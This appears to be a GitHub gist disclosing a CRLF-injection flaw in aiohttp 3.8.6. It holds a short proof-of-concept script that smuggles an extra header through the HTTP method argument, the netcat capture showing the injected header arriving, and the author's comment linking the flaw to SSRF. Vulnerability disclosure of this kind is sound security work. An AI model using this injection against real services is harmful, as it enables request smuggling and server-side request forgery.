Skip to content

Instantly share code, notes, and snippets.

@jnovikov
Created October 28, 2023 23:18
Show Gist options
  • Save jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b to your computer and use it in GitHub Desktop.
Save jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b to your computer and use it in GitHub Desktop.
aiohttp CRLF poc
import aiohttp
import asyncio
async def main():
async with aiohttp.ClientSession() as session:
async with session.request('GET / HTTP/1.1\r\nPwnedBy: jnovikov\r\n', 'http://localhost:5000') as response:
print(response.status)
print(await response.text())
asyncio.run(main())
nc -l 5000
GET / HTTP/1.1
PWNEDBY: JNOVIKOV
/ HTTP/1.1
Host: localhost:5000
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Python/3.11 aiohttp/3.8.6
Content-Length: 0
@jnovikov
Copy link
Author

Current "aiohttp" version (3.8.6) is vulnerable to CRLF injection if user controls the HTTP method using aiohttp client.

This can allow attackers to exploit various SSRF vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment